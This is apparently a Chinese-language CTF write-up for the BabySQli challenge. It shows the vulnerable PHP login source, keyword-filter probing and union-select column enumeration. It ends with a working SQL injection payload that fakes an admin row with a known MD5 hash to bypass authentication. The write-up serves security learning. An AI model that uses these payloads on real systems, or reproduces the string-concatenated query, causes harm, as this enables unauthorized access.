[GXYCTF2019]BabySQli
wp
判断注入点,并找到注入方法
进来页面发现有一个登录框,输入admin,admin抓包
发现返回wrong pass!,存在用户名admin,而且是post注入,发送到repeater发送查看回显,发现注释中存在base32编码
进行解码发现,还有一层base64编码
继续解码,发现注入点name
name输入admin'发现报错,说明是字符型注入
输入关键字,看哪些关键字被过滤了
or,=,(,)
还能查询字段数,发现存在三个字段数
'union select 1#
'union select 1,2#
'union select 1,2,3#
由于页面没有回显,猜测三个字段数对应具体字符串,现在不知道1,2,3都对应什么,但前面知道用户名admin,尝试替换admin找到用户名位置,由于用户名在数据库中存在,是字符串,所以用的时候要加'',发现2处是用户名
查看源码,在search.php中发现关键代码
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";
// 去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);
if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
?>
分析代码可知我们想要获取flag需要满足两个条件:
$arr[1] == "admin"
md5($password) == $arr[2]
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
-->
$result = mysqli_query($con, $sql);
-->
$arr = mysqli_fetch_row($result);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
筛选有用的代码,发现代码赋值$result时使用了mysqli_query()函数,这个函数用于执行某个针对数据库的查询并且规定只能查询字符串,证明了上面的猜测,从代码中可以发现$arr使用了mysqli_fetch_row函数,将所有返回结果作为枚举数组,所有返回结果又是从数据库中查询出来的,说明数组的值和数据库的值相同,那么查询数据库的值时也相当于在查数组的值,由于之前返回了联合查询时返回了wrong pass!,可以说$arr[1]的值为admin,也就是说$arr[1]对应1,2,3中的2,那$arr[2]就对应1,2,3中的3,那我们只需要让md5($password)等于1,2,3中的3即可返回flag,构造payload
name='union select 1,'admin','21232f297a57a5a743894a0e4a801fc3'#&pw=admin
发现成功返回flag